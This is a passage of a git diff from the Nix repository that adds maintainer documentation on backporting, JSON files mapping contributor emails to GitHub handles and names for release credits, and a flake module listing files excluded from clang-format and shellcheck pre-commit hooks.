draft](https://docs.github.com/en/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request#converting-a-pull-request-to-a-draft). + +### Assigned + +One team member is assigned to each of these pull requests. +They will communicate with the authors, and make the final approval once all remaining issues are addressed. + +If more substantive issues arise, the assignee can move the pull request back to [To discuss](#to-discuss) or [In review](#in-review) to involve the team again. + +### Flowchart The process is illustrated in the following diagram: diff --git a/maintainers/backporting.md b/maintainers/backporting.md new file mode 100644 index 000000000..2424050c8 --- /dev/null +++ b/maintainers/backporting.md @@ -0,0 +1,12 @@ + +# Backporting + +To [automatically backport a pull request](https://github.com/NixOS/nix/blob/master/.github/workflows/backport.yml) to a release branch once it's merged, assign it a label of the form [`backport `](https://github.com/NixOS/nix/labels?q=backport). + +Since [GitHub Actions workflows will not trigger other workflows](https://docs.github.com/en/actions/using-workflows/triggering-a-workflow#triggering-a-workflow-from-a-workflow), checks on the automatic backport need to be triggered by another actor. +This is achieved by closing and reopening the backport pull request. + +This specifically affects the [`installer_test`] check. +Note that it only runs after the other tests, so it may take a while to appear. + +[`installer_test`]: https://github.com/NixOS/nix/blob/895dfc656a21f6252ddf48df0d1f215effa04ecb/.github/workflows/ci.yml#L70-L91 diff --git a/maintainers/data/release-credits-email-to-handle.json b/maintainers/data/release-credits-email-to-handle.json new file mode 100644 index 000000000..cddc1a6e7 --- /dev/null +++ b/maintainers/data/release-credits-email-to-handle.json @@ -0,0 +1,52 @@ +{ + "bogus": "bogus", + "edolstra@gmail.com": "edolstra", + "roberth@users.noreply.github.com": "roberth", + "toscano.pino@tiscali.it": "pinotree", + "valentin@gagarin.work": "fricklerhandwerk", + "mr.trubach@icloud.com": "tie", + "robert@roberthensing.nl": "roberth", + "lix@jade.fyi": "lf-", + "cole.e.helbling@outlook.com": "cole-h", + "joerg@thalheim.io": "Mic92", + "John.Ericson@Obsidian.Systems": "Ericson2314", + "ryan.hendrickson@alum.mit.edu": "rhendric", + "67135060+poweredbypie@users.noreply.github.com": "poweredbypie", + "detroyejr@outlook.com": "detroyejr", + "silvan.mosberger@tweag.io": "infinisil", + "vcs@emily.moe": "emilazy", + "farid.m.zakaria@gmail.com": "fzakaria", + "22859658+RTUnreal@users.noreply.github.com": "RTUnreal", + "me@las.rs": "L-as", + "philip.taron@gmail.com": "philiptaron", + "root@goldstein.rs": "GoldsteinE", + "tomberek@users.noreply.github.com": "tomberek", + "lexi.mattick@neuralink.com": "kognise", + "andrew@johnandrewmarshall.com": "amarshall", + "contact@romain-neil.fr": "romain-neil", + "Mic92@users.noreply.github.com": "Mic92", + "valentin.gagarin@tweag.io": "fricklerhandwerk", + "siddhantk232@gmail.com": "siddhantk232", + "kn@openbsd.org": "klemensn", + "slyich@gmail.com": "trofi", + "theophane.hufschmitt@tweag.io": "thufschmitt", + "alicebob@lijzij.de": "alicebob", + "winter@winter.cafe": "winterqt", + "brian@brianmckenna.org": "puffnfresh", + "git@haenoe.party": "haenoe", + "peshogo@gmail.com": "pineapplehunter", + "poweredbypie@users.noreply.github.com": "poweredbypie", + "arthur200126@gmail.com": "Artoria2e5", + "tomberek@gmail.com": "tomberek", + "jaredbaur@fastmail.com": "jmbaur", + "andreas@rammhold.de": "andir", + "hamirmahal@gmail.com": "hamirmahal", + "git@JohnEricson.me": "Ericson2314", + "8763518+SkamDart@users.noreply.github.com": "SkamDart", + "kirillrdy@gmail.com": "kirillrdy", + "pennae@lix.systems": "pennae", + "delroth@gmail.com": "delroth", + "enno@nerdworks.de": "elohmeier", + "mjbauer95@gmail.com": "matthewbauer", + "MostAwesomeDude@gmail.com": "MostAwesomeDude" +} \ No newline at end of file diff --git a/maintainers/data/release-credits-handle-to-name.json b/maintainers/data/release-credits-handle-to-name.json new file mode 100644 index 000000000..abf9ed05b --- /dev/null +++ b/maintainers/data/release-credits-handle-to-name.json @@ -0,0 +1,45 @@ +{ + "fzakaria": "Farid Zakaria", + "kognise": "Lexi Mattick", + "L-as": "Las Safin", + "haenoe": "HaeNoe", + "andir": "Andreas Rammhold", + "matthewbauer": "Matthew Bauer", + "emilazy": "Emily", + "pineapplehunter": "Shogo Takata", + "RTUnreal": null, + "jmbaur": "Jared Baur", + "Ericson2314": "John Ericson", + "pinotree": "Pino Toscano", + "tie": "Ivan Trubach", + "poweredbypie": null, + "fricklerhandwerk": "Valentin Gagarin", + "Mic92": "J\u00f6rg Thalheim", + "alicebob": "Harmen", + "elohmeier": "Enno Richter", + "delroth": "Pierre Bourdon", + "kirillrdy": null, + "thufschmitt": "Th\u00e9ophane Hufschmitt", + "detroyejr": "Jonathan De Troye", + "klemensn": "Klemens Nanni", + "tomberek": null, + "rhendric": "Ryan Hendrickson", + "philiptaron": "Philip Taron", + "puffnfresh": "Brian McKenna", + "lf-": "jade", + "romain-neil": "Romain Neil", + "hamirmahal": "Hamir Mahal", + "edolstra": "Eelco Dolstra", + "Artoria2e5": "Mingye Wang", + "SkamDart": "Cameron", + "roberth": "Robert Hensing", + "amarshall": "Andrew Marshall", + "trofi": "Sergei Trofimovich", + "cole-h": "Cole Helbling", + "infinisil": "Silvan Mosberger", + "siddhantk232": "Siddhant Kumar", + "winterqt": "Winter", + "GoldsteinE": "Max \u201cGoldstein\u201d Siling", + "pennae": null, + "MostAwesomeDude": "Corbin Simpson" +} \ No newline at end of file diff --git a/maintainers/flake-module.nix b/maintainers/flake-module.nix new file mode 100644 index 000000000..0b83e5696 --- /dev/null +++ b/maintainers/flake-module.nix @@ -0,0 +1,663 @@ +{ lib, getSystem, inputs, ... }: + +{ + imports = [ + inputs.git-hooks-nix.flakeModule + ]; + + perSystem = { config, pkgs, ... }: { + + # https://flake.parts/options/pre-commit-hooks-nix.html#options + pre-commit.settings = { + hooks = { + clang-format = { + enable = true; + excludes = [ + # We don't want to format test data + # ''tests/(?!nixos/).*\.nix'' + ''^tests/unit/[^/]*/data/.*$'' + + # Don't format vendored code + ''^doc/manual/redirects\.js$'' + ''^doc/manual/theme/highlight\.js$'' + + # We haven't applied formatting to these files yet + ''^doc/manual/redirects\.js$'' + ''^doc/manual/theme/highlight\.js$'' + ''^precompiled-headers\.h$'' + ''^src/build-remote/build-remote\.cc$'' + ''^src/libcmd/built-path\.cc$'' + ''^src/libcmd/built-path\.hh$'' + ''^src/libcmd/command\.cc$'' + ''^src/libcmd/command\.hh$'' + ''^src/libcmd/common-eval-args\.cc$'' + ''^src/libcmd/common-eval-args\.hh$'' + ''^src/libcmd/editor-for\.cc$'' + ''^src/libcmd/installable-attr-path\.cc$'' + ''^src/libcmd/installable-attr-path\.hh$'' + ''^src/libcmd/installable-derived-path\.cc$'' + ''^src/libcmd/installable-derived-path\.hh$'' + ''^src/libcmd/installable-flake\.cc$'' + ''^src/libcmd/installable-flake\.hh$'' + ''^src/libcmd/installable-value\.cc$'' + ''^src/libcmd/installable-value\.hh$'' + ''^src/libcmd/installables\.cc$'' + ''^src/libcmd/installables\.hh$'' + ''^src/libcmd/legacy\.hh$'' + ''^src/libcmd/markdown\.cc$'' + ''^src/libcmd/misc-store-flags\.cc$'' + ''^src/libcmd/repl-interacter\.cc$'' + ''^src/libcmd/repl-interacter\.hh$'' + ''^src/libcmd/repl\.cc$'' + ''^src/libcmd/repl\.hh$'' + ''^src/libexpr-c/nix_api_expr\.cc$'' + ''^src/libexpr-c/nix_api_external\.cc$'' + ''^src/libexpr/attr-path\.cc$'' + ''^src/libexpr/attr-path\.hh$'' + ''^src/libexpr/attr-set\.cc$'' + ''^src/libexpr/attr-set\.hh$'' + ''^src/libexpr/eval-cache\.cc$'' + ''^src/libexpr/eval-cache\.hh$'' + ''^src/libexpr/eval-error\.cc$'' + ''^src/libexpr/eval-inline\.hh$'' + ''^src/libexpr/eval-settings\.cc$'' + ''^src/libexpr/eval-settings\.hh$'' + ''^src/libexpr/eval\.cc$'' + ''^src/libexpr/eval\.hh$'' + ''^src/libexpr/function-trace\.cc$'' + ''^src/libexpr/gc-small-vector\.hh$'' + ''^src/libexpr/get-drvs\.cc$'' + ''^src/libexpr/get-drvs\.hh$'' + ''^src/libexpr/json-to-value\.cc$'' + ''^src/libexpr/nixexpr\.cc$'' + ''^src/libexpr/nixexpr\.hh$'' + ''^src/libexpr/parser-state\.hh$'' + ''^src/libexpr/pos-table\.hh$'' + ''^src/libexpr/primops\.cc$'' + ''^src/libexpr/primops\.hh$'' + ''^src/libexpr/primops/context\.cc$'' + ''^src/libexpr/primops/fetchClosure\.cc$'' + ''^src/libexpr/primops/fetchMercurial\.cc$'' + ''^src/libexpr/primops/fetchTree\.cc$'' + ''^src/libexpr/primops/fromTOML\.cc$'' + ''^src/libexpr/print-ambiguous\.cc$'' + ''^src/libexpr/print-ambiguous\.hh$'' + ''^src/libexpr/print-options\.hh$'' + ''^src/libexpr/print\.cc$'' + ''^src/libexpr/print\.hh$'' + ''^src/libexpr/search-path\.cc$'' + ''^src/libexpr/symbol-table\.hh$'' + ''^src/libexpr/value-to-json\.cc$'' + ''^src/libexpr/value-to-json\.hh$'' + ''^src/libexpr/value-to-xml\.cc$'' + ''^src/libexpr/value-to-xml\.hh$'' + ''^src/libexpr/value\.hh$'' + ''^src/libexpr/value/context\.cc$'' + ''^src/libexpr/value/context\.hh$'' + ''^src/libfetchers/attrs\.cc$'' + ''^src/libfetchers/cache\.cc$'' + ''^src/libfetchers/cache\.hh$'' + ''^src/libfetchers/fetch-settings\.cc$'' + ''^src/libfetchers/fetch-settings\.hh$'' + ''^src/libfetchers/fetch-to-store\.cc$'' + ''^src/libfetchers/fetchers\.cc$'' + ''^src/libfetchers/fetchers\.hh$'' + ''^src/libfetchers/filtering-source-accessor\.cc$'' + ''^src/libfetchers/filtering-source-accessor\.hh$'' + ''^src/libfetchers/fs-source-accessor\.cc$'' + ''^src/libfetchers/fs-source-accessor\.hh$'' + ''^src/libfetchers/git-utils\.cc$'' + ''^src/libfetchers/git-utils\.hh$'' + ''^src/libfetchers/github\.cc$'' + ''^src/libfetchers/indirect\.cc$'' + ''^src/libfetchers/memory-source-accessor\.cc$'' + ''^src/libfetchers/path\.cc$'' + ''^src/libfetchers/registry\.cc$'' + ''^src/libfetchers/registry\.hh$'' + ''^src/libfetchers/tarball\.cc$'' + ''^src/libfetchers/tarball\.hh$'' + ''^src/libfetchers/git\.cc$'' + ''^src/libfetchers/mercurial\.cc$'' + ''^src/libflake/flake/config\.cc$'' + ''^src/libflake/flake/flake\.cc$'' + ''^src/libflake/flake/flake\.hh$'' + ''^src/libflake/flake/flakeref\.cc$'' + ''^src/libflake/flake/flakeref\.hh$'' + ''^src/libflake/flake/lockfile\.cc$'' + ''^src/libflake/flake/lockfile\.hh$'' + ''^src/libflake/flake/url-name\.cc$'' + ''^src/libmain/common-args\.cc$'' + ''^src/libmain/common-args\.hh$'' + ''^src/libmain/loggers\.cc$'' + ''^src/libmain/loggers\.hh$'' + ''^src/libmain/progress-bar\.cc$'' + ''^src/libmain/shared\.cc$'' + ''^src/libmain/shared\.hh$'' + ''^src/libmain/unix/stack\.cc$'' + ''^src/libstore/binary-cache-store\.cc$'' + ''^src/libstore/binary-cache-store\.hh$'' + ''^src/libstore/build-result\.hh$'' + ''^src/libstore/builtins\.hh$'' + ''^src/libstore/builtins/buildenv\.cc$'' + ''^src/libstore/builtins/buildenv\.hh$'' + ''^src/libstore/common-protocol-impl\.hh$'' + ''^src/libstore/common-protocol\.cc$'' + ''^src/libstore/common-protocol\.hh$'' + ''^src/libstore/common-ssh-store-config\.hh$'' + ''^src/libstore/content-address\.cc$'' + ''^src/libstore/content-address\.hh$'' + ''^src/libstore/daemon\.cc$'' + ''^src/libstore/daemon\.hh$'' + ''^src/libstore/derivations\.cc$'' + ''^src/libstore/derivations\.hh$'' + ''^src/libstore/derived-path-map\.cc$'' + ''^src/libstore/derived-path-map\.hh$'' + ''^src/libstore/derived-path\.cc$'' + ''^src/libstore/derived-path\.hh$'' + ''^src/libstore/downstream-placeholder\.cc$'' + ''^src/libstore/downstream-placeholder\.hh$'' + ''^src/libstore/dummy-store\.cc$'' + ''^src/libstore/export-import\.cc$'' + ''^src/libstore/filetransfer\.cc$'' + ''^src/libstore/filetransfer\.hh$'' + ''^src/libstore/gc-store\.hh$'' + ''^src/libstore/globals\.cc$'' + ''^src/libstore/globals\.hh$'' + ''^src/libstore/http-binary-cache-store\.cc$'' + ''^src/libstore/legacy-ssh-store\.cc$'' + ''^src/libstore/legacy-ssh-store\.hh$'' + ''^src/libstore/length-prefixed-protocol-helper\.hh$'' + ''^src/libstore/linux/personality\.cc$'' + ''^src/libstore/linux/personality\.hh$'' + ''^src/libstore/local-binary-cache-store\.cc$'' + ''^src/libstore/local-fs-store\.cc$'' + ''^src/libstore/local-fs-store\.hh$'' + ''^src/libstore/log-store\.cc$'' + ''^src/libstore/log-store\.hh$'' + ''^src/libstore/machines\.cc$'' + ''^src/libstore/machines\.hh$'' + ''^src/libstore/make-content-addressed\.cc$'' + ''^src/libstore/make-content-addressed\.hh$'' + ''^src/libstore/misc\.cc$'' + ''^src/libstore/names\.cc$'' + ''^src/libstore/names\.hh$'' + ''^src/libstore/nar-accessor\.cc$'' + ''^src/libstore/nar-accessor\.hh$'' + ''^src/libstore/nar-info-disk-cache\.cc$'' + ''^src/libstore/nar-info-disk-cache\.hh$'' + ''^src/libstore/nar-info\.cc$'' + ''^src/libstore/nar-info\.hh$'' + ''^src/libstore/outputs-spec\.cc$'' + ''^src/libstore/outputs-spec\.hh$'' + ''^src/libstore/parsed-derivations\.cc$'' + ''^src/libstore/path-info\.cc$'' + ''^src/libstore/path-info\.hh$'' + ''^src/libstore/path-references\.cc$'' + ''^src/libstore/path-regex\.hh$'' + ''^src/libstore/path-with-outputs\.cc$'' + ''^src/libstore/path\.cc$'' + ''^src/libstore/path\.hh$'' + ''^src/libstore/pathlocks\.cc$'' + ''^src/libstore/pathlocks\.hh$'' + ''^src/libstore/profiles\.cc$'' + ''^src/libstore/profiles\.hh$'' + ''^src/libstore/realisation\.cc$'' + ''^src/libstore/realisation\.hh$'' + ''^src/libstore/remote-fs-accessor\.cc$'' + ''^src/libstore/remote-fs-accessor\.hh$'' + ''^src/libstore/remote-store-connection\.hh$'' + ''^src/libstore/remote-store\.cc$'' + ''^src/libstore/remote-store\.hh$'' + ''^src/libstore/s3-binary-cache-store\.cc$'' + ''^src/libstore/s3\.hh$'' + ''^src/libstore/serve-protocol-impl\.cc$'' + ''^src/libstore/serve-protocol-impl\.hh$'' + ''^src/libstore/serve-protocol\.cc$'' + ''^src/libstore/serve-protocol\.hh$'' + ''^src/libstore/sqlite\.cc$'' + ''^src/libstore/sqlite\.hh$'' + ''^src/libstore/ssh-store\.cc$'' + ''^src/libstore/ssh\.cc$'' + ''^src/libstore/ssh\.hh$'' + ''^src/libstore/store-api\.cc$'' + ''^src/libstore/store-api\.hh$'' + ''^src/libstore/store-dir-config\.hh$'' + ''^src/libstore/build/derivation-goal\.cc$'' + ''^src/libstore/build/derivation-goal\.hh$'' + ''^src/libstore/build/drv-output-substitution-goal\.cc$'' + ''^src/libstore/build/drv-output-substitution-goal\.hh$'' + ''^src/libstore/build/entry-points\.cc$'' + ''^src/libstore/build/goal\.cc$'' + ''^src/libstore/build/goal\.hh$'' + ''^src/libstore/unix/build/hook-instance\.cc$'' + ''^src/libstore/unix/build/local-derivation-goal\.cc$'' + ''^src/libstore/unix/build/local-derivation-goal\.hh$'' + ''^src/libstore/build/substitution-goal\.cc$'' + ''^src/libstore/build/substitution-goal\.hh$'' + ''^src/libstore/build/worker\.cc$'' + ''^src/libstore/build/worker\.hh$'' + ''^src/libstore/builtins/fetchurl\.cc$'' + ''^src/libstore/builtins/unpack-channel\.cc$'' + ''^src/libstore/gc\.cc$'' + ''^src/libstore/local-overlay-store\.cc$'' + ''^src/libstore/local-overlay-store\.hh$'' + ''^src/libstore/local-store\.cc$'' + ''^src/libstore/local-store\.hh$'' + ''^src/libstore/unix/user-lock\.cc$'' + ''^src/libstore/unix/user-lock\.hh$'' + ''^src/libstore/optimise-store\.cc$'' + ''^src/libstore/unix/pathlocks\.cc$'' + ''^src/libstore/posix-fs-canonicalise\.cc$'' + ''^src/libstore/posix-fs-canonicalise\.hh$'' + ''^src/libstore/uds-remote-store\.cc$'' + ''^src/libstore/uds-remote-store\.hh$'' + ''^src/libstore/windows/build\.cc$'' + ''^src/libstore/worker-protocol-impl\.hh$'' + ''^src/libstore/worker-protocol\.cc$'' + ''^src/libstore/worker-protocol\.hh$'' + ''^src/libutil-c/nix_api_util_internal\.h$'' + ''^src/libutil/archive\.cc$'' + ''^src/libutil/archive\.hh$'' + ''^src/libutil/args\.cc$'' + ''^src/libutil/args\.hh$'' + ''^src/libutil/args/root\.hh$'' + ''^src/libutil/callback\.hh$'' + ''^src/libutil/canon-path\.cc$'' + ''^src/libutil/canon-path\.hh$'' + ''^src/libutil/chunked-vector\.hh$'' + ''^src/libutil/closure\.hh$'' + ''^src/libutil/comparator\.hh$'' + ''^src/libutil/compute-levels\.cc$'' + ''^src/libutil/config-impl\.hh$'' + ''^src/libutil/config\.cc$'' + ''^src/libutil/config\.hh$'' + ''^src/libutil/current-process\.cc$'' + ''^src/libutil/current-process\.hh$'' + ''^src/libutil/english\.cc$'' + ''^src/libutil/english\.hh$'' + ''^src/libutil/error\.cc$'' + ''^src/libutil/error\.hh$'' + ''^src/libutil/exit\.hh$'' + ''^src/libutil/experimental-features\.cc$'' + ''^src/libutil/experimental-features\.hh$'' + ''^src/libutil/file-content-address\.cc$'' + ''^src/libutil/file-content-address\.hh$'' + ''^src/libutil/file-descriptor\.cc$'' + ''^src/libutil/file-descriptor\.hh$'' + ''^src/libutil/file-path-impl\.hh$'' + ''^src/libutil/file-path\.hh$'' + ''^src/libutil/file-system\.cc$'' + ''^src/libutil/file-system\.hh$'' + ''^src/libutil/finally\.hh$'' + ''^src/libutil/fmt\.hh$'' + ''^src/libutil/fs-sink\.cc$'' + ''^src/libutil/fs-sink\.hh$'' + ''^src/libutil/git\.cc$'' + ''^src/libutil/git\.hh$'' + ''^src/libutil/hash\.cc$'' + ''^src/libutil/hash\.hh$'' + ''^src/libutil/hilite\.cc$'' + ''^src/libutil/hilite\.hh$'' + ''^src/libutil/source-accessor\.hh$'' + ''^src/libutil/json-impls\.hh$'' + ''^src/libutil/json-utils\.cc$'' + ''^src/libutil/json-utils\.hh$'' + ''^src/libutil/linux/cgroup\.cc$'' + ''^src/libutil/linux/namespaces\.cc$'' + ''^src/libutil/logging\.cc$'' + ''^src/libutil/logging\.hh$'' + ''^src/libutil/lru-cache\.hh$'' + ''^src/libutil/memory-source-accessor\.cc$'' + ''^src/libutil/memory-source-accessor\.hh$'' + ''^src/libutil/pool\.hh$'' + ''^src/libutil/position\.cc$'' + ''^src/libutil/position\.hh$'' + ''^src/libutil/posix-source-accessor\.cc$'' + ''^src/libutil/posix-source-accessor\.hh$'' + ''^src/libutil/processes\.hh$'' + ''^src/libutil/ref\.hh$'' + ''^src/libutil/references\.cc$'' + ''^src/libutil/references\.hh$'' + ''^src/libutil/regex-combinators\.hh$'' + ''^src/libutil/serialise\.cc$'' + ''^src/libutil/serialise\.hh$'' + ''^src/libutil/signals\.hh$'' + ''^src/libutil/signature/local-keys\.cc$'' + ''^src/libutil/signature/local-keys\.hh$'' + ''^src/libutil/signature/signer\.cc$'' + ''^src/libutil/signature/signer\.hh$'' + ''^src/libutil/source-accessor\.cc$'' + ''^src/libutil/source-accessor\.hh$'' + ''^src/libutil/source-path\.cc$'' + ''^src/libutil/source-path\.hh$'' + ''^src/libutil/split\.hh$'' + ''^src/libutil/suggestions\.cc$'' + ''^src/libutil/suggestions\.hh$'' + ''^src/libutil/sync\.hh$'' + ''^src/libutil/terminal\.cc$'' + ''^src/libutil/terminal\.hh$'' + ''^src/libutil/thread-pool\.cc$'' + ''^src/libutil/thread-pool\.hh$'' + ''^src/libutil/topo-sort\.hh$'' + ''^src/libutil/types\.hh$'' + ''^src/libutil/unix/file-descriptor\.cc$'' + ''^src/libutil/unix/file-path\.cc$'' + ''^src/libutil/unix/monitor-fd\.hh$'' + ''^src/libutil/unix/processes\.cc$'' + ''^src/libutil/unix/signals-impl\.hh$'' + ''^src/libutil/unix/signals\.cc$'' + ''^src/libutil/unix-domain-socket\.cc$'' + ''^src/libutil/unix/users\.cc$'' + ''^src/libutil/url-parts\.hh$'' + ''^src/libutil/url\.cc$'' + ''^src/libutil/url\.hh$'' + ''^src/libutil/users\.cc$'' + ''^src/libutil/users\.hh$'' + ''^src/libutil/util\.cc$'' + ''^src/libutil/util\.hh$'' + ''^src/libutil/variant-wrapper\.hh$'' + ''^src/libutil/windows/file-descriptor\.cc$'' + ''^src/libutil/windows/file-path\.cc$'' + ''^src/libutil/windows/processes\.cc$'' + ''^src/libutil/windows/users\.cc$'' + ''^src/libutil/windows/windows-error\.cc$'' + ''^src/libutil/windows/windows-error\.hh$'' + ''^src/libutil/xml-writer\.cc$'' + ''^src/libutil/xml-writer\.hh$'' + ''^src/nix-build/nix-build\.cc$'' + ''^src/nix-channel/nix-channel\.cc$'' + ''^src/nix-collect-garbage/nix-collect-garbage\.cc$'' + ''^src/nix-env/buildenv.nix$'' + ''^src/nix-env/nix-env\.cc$'' + ''^src/nix-env/user-env\.cc$'' + ''^src/nix-env/user-env\.hh$'' + ''^src/nix-instantiate/nix-instantiate\.cc$'' + ''^src/nix-store/dotgraph\.cc$'' + ''^src/nix-store/graphml\.cc$'' + ''^src/nix-store/nix-store\.cc$'' + ''^src/nix/add-to-store\.cc$'' + ''^src/nix/app\.cc$'' + ''^src/nix/build\.cc$'' + ''^src/nix/bundle\.cc$'' + ''^src/nix/cat\.cc$'' + ''^src/nix/config-check\.cc$'' + ''^src/nix/config\.cc$'' + ''^src/nix/copy\.cc$'' + ''^src/nix/derivation-add\.cc$'' + ''^src/nix/derivation-show\.cc$'' + ''^src/nix/derivation\.cc$'' + ''^src/nix/develop\.cc$'' + ''^src/nix/diff-closures\.cc$'' + ''^src/nix/dump-path\.cc$'' + ''^src/nix/edit\.cc$'' + ''^src/nix/eval\.cc$'' + ''^src/nix/flake\.cc$'' + ''^src/nix/fmt\.cc$'' + ''^src/nix/hash\.cc$'' + ''^src/nix/log\.cc$'' + ''^src/nix/ls\.cc$'' + ''^src/nix/main\.cc$'' + ''^src/nix/make-content-addressed\.cc$'' + ''^src/nix/nar\.cc$'' + ''^src/nix/optimise-store\.cc$'' + ''^src/nix/path-from-hash-part\.cc$'' + ''^src/nix/path-info\.cc$'' + ''^src/nix/prefetch\.cc$'' + ''^src/nix/profile\.cc$'' + ''^src/nix/realisation\.cc$'' + ''^src/nix/registry\.cc$'' + ''^src/nix/repl\.cc$'' + ''^src/nix/run\.cc$'' + ''^src/nix/run\.hh$'' + ''^src/nix/search\.cc$'' + ''^src/nix/sigs\.cc$'' + ''^src/nix/store-copy-log\.cc$'' + ''^src/nix/store-delete\.cc$'' + ''^src/nix/store-gc\.cc$'' + ''^src/nix/store-info\.cc$'' + ''^src/nix/store-repair\.cc$'' + ''^src/nix/store\.cc$'' + ''^src/nix/unix/daemon\.cc$'' + ''^src/nix/upgrade-nix\.cc$'' + ''^src/nix/verify\.cc$'' + ''^src/nix/why-depends\.cc$'' + + ''^tests/functional/plugins/plugintest\.cc'' + ''^tests/functional/test-libstoreconsumer/main\.cc'' + ''^tests/nixos/ca-fd-leak/sender\.c'' + ''^tests/nixos/ca-fd-leak/smuggler\.c'' + ''^tests/nixos/user-sandboxing/attacker\.c'' + ''^tests/unit/libexpr-support/tests/libexpr\.hh'' + ''^tests/unit/libexpr-support/tests/value/context\.cc'' + ''^tests/unit/libexpr-support/tests/value/context\.hh'' + ''^tests/unit/libexpr/derived-path\.cc'' + ''^tests/unit/libexpr/error_traces\.cc'' + ''^tests/unit/libexpr/eval\.cc'' + ''^tests/unit/libexpr/json\.cc'' + ''^tests/unit/libexpr/main\.cc'' + ''^tests/unit/libexpr/primops\.cc'' + ''^tests/unit/libexpr/search-path\.cc'' + ''^tests/unit/libexpr/trivial\.cc'' + ''^tests/unit/libexpr/value/context\.cc'' + ''^tests/unit/libexpr/value/print\.cc'' + ''^tests/unit/libfetchers/public-key\.cc'' + ''^tests/unit/libflake/flakeref\.cc'' + ''^tests/unit/libflake/url-name\.cc'' + ''^tests/unit/libstore-support/tests/derived-path\.cc'' + ''^tests/unit/libstore-support/tests/derived-path\.hh'' + ''^tests/unit/libstore-support/tests/nix_api_store\.hh'' + ''^tests/unit/libstore-support/tests/outputs-spec\.cc'' + ''^tests/unit/libstore-support/tests/outputs-spec\.hh'' + ''^tests/unit/libstore-support/tests/path\.cc'' + ''^tests/unit/libstore-support/tests/path\.hh'' + ''^tests/unit/libstore-support/tests/protocol\.hh'' + ''^tests/unit/libstore/common-protocol\.cc'' + ''^tests/unit/libstore/content-address\.cc'' + ''^tests/unit/libstore/derivation\.cc'' + ''^tests/unit/libstore/derived-path\.cc'' + ''^tests/unit/libstore/downstream-placeholder\.cc'' + ''^tests/unit/libstore/machines\.cc'' + ''^tests/unit/libstore/nar-info-disk-cache\.cc'' + ''^tests/unit/libstore/nar-info\.cc'' + ''^tests/unit/libstore/outputs-spec\.cc'' + ''^tests/unit/libstore/path-info\.cc'' + ''^tests/unit/libstore/path\.cc'' + ''^tests/unit/libstore/serve-protocol\.cc'' + ''^tests/unit/libstore/worker-protocol\.cc'' + ''^tests/unit/libutil-support/tests/characterization\.hh'' + ''^tests/unit/libutil-support/tests/hash\.cc'' + ''^tests/unit/libutil-support/tests/hash\.hh'' + ''^tests/unit/libutil/args\.cc'' + ''^tests/unit/libutil/canon-path\.cc'' + ''^tests/unit/libutil/chunked-vector\.cc'' + ''^tests/unit/libutil/closure\.cc'' + ''^tests/unit/libutil/compression\.cc'' + ''^tests/unit/libutil/config\.cc'' + ''^tests/unit/libutil/file-content-address\.cc'' + ''^tests/unit/libutil/git\.cc'' + ''^tests/unit/libutil/hash\.cc'' + ''^tests/unit/libutil/hilite\.cc'' + ''^tests/unit/libutil/json-utils\.cc'' + ''^tests/unit/libutil/logging\.cc'' + ''^tests/unit/libutil/lru-cache\.cc'' + ''^tests/unit/libutil/pool\.cc'' + ''^tests/unit/libutil/references\.cc'' + ''^tests/unit/libutil/suggestions\.cc'' + ''^tests/unit/libutil/url\.cc'' + ''^tests/unit/libutil/xml-writer\.cc'' + ]; + }; + shellcheck = { + enable = true; + excludes = [ + # We haven't linted these files yet + ''^config/install-sh$'' + ''^misc/bash/completion\.sh$'' + ''^misc/fish/completion\.fish$'' + ''^misc/zsh/completion\.zsh$'' + ''^scripts/create-darwin-volume\.sh$'' + ''^scripts/install-darwin-multi-user\.sh$'' + ''^scripts/install-multi-user\.sh$'' + ''^scripts/install-nix-from-closure\.sh$'' + ''^scripts/install-systemd-multi-user\.sh$'' + ''^src/nix/get-env\.sh$'' + ''^tests/functional/build\.sh$'' + ''^tests/functional/ca/build-dry\.sh$'' + ''^tests/functional/ca/build-with-garbage-path\.sh$'' + ''^tests/functional/ca/common\.sh$'' + ''^tests/functional/ca/concurrent-builds\.sh$'' + ''^tests/functional/ca/eval-store\.sh$'' + ''^tests/functional/ca/gc\.sh$'' + ''^tests/functional/ca/import-derivation\.sh$'' + ''^tests/functional/ca/new-build-cmd\.sh$'' + ''^tests/functional/ca/nix-shell\.sh$'' + ''^tests/functional/ca/post-hook\.sh$'' + ''^tests/functional/ca/recursive\.sh$'' + ''^tests/functional/ca/repl\.sh$'' + ''^tests/functional/ca/selfref-gc\.sh$'' + ''^tests/functional/ca/why-depends\.sh$'' + ''^tests/functional/characterisation-test-infra\.sh$'' + ''^tests/functional/check\.sh$'' + ''^tests/functional/common/vars-and-functions\.sh$'' + ''^tests/functional/completions\.sh$'' + ''^tests/functional/compute-levels\.sh$'' + ''^tests/functional/config\.sh$'' + ''^tests/functional/db-migration\.sh$'' + ''^tests/functional/debugger\.sh$'' + ''^tests/functional/dependencies\.builder0\.sh$'' + ''^tests/functional/dependencies\.sh$'' + ''^tests/functional/dump-db\.sh$'' + ''^tests/functional/dyn-drv/build-built-drv\.sh$'' + ''^tests/functional/dyn-drv/common\.sh$'' + ''^tests/functional/dyn-drv/dep-built-drv\.sh$'' + ''^tests/functional/dyn-drv/eval-outputOf\.sh$'' + ''^tests/functional/dyn-drv/old-daemon-error-hack\.sh$'' + ''^tests/functional/dyn-drv/recursive-mod-json\.sh$'' + ''^tests/functional/eval-store\.sh$'' + ''^tests/functional/eval\.sh$'' + ''^tests/functional/export-graph\.sh$'' + ''^tests/functional/export\.sh$'' + ''^tests/functional/extra-sandbox-profile\.sh$'' + ''^tests/functional/fetchClosure\.sh$'' + ''^tests/functional/fetchGit\.sh$'' + ''^tests/functional/fetchGitRefs\.sh$'' + ''^tests/functional/fetchGitSubmodules\.sh$'' + ''^tests/functional/fetchGitVerification\.sh$'' + ''^tests/functional/fetchMercurial\.sh$'' + ''^tests/functional/fetchurl\.sh$'' + ''^tests/functional/fixed\.builder1\.sh$'' + ''^tests/functional/fixed\.builder2\.sh$'' + ''^tests/functional/fixed\.sh$'' + ''^tests/functional/flakes/absolute-paths\.sh$'' + ''^tests/functional/flakes/check\.sh$'' + ''^tests/functional/flakes/common\.sh$'' + ''^tests/functional/flakes/config\.sh$'' + ''^tests/functional/flakes/develop\.sh$'' + ''^tests/functional/flakes/flakes\.sh$'' + ''^tests/functional/flakes/follow-paths\.sh$'' + ''^tests/functional/flakes/prefetch\.sh$'' + ''^tests/functional/flakes/run\.sh$'' + ''^tests/functional/flakes/show\.sh$'' + ''^tests/functional/fmt\.sh$'' + ''^tests/functional/fmt\.simple\.sh$'' + ''^tests/functional/gc-auto\.sh$'' + 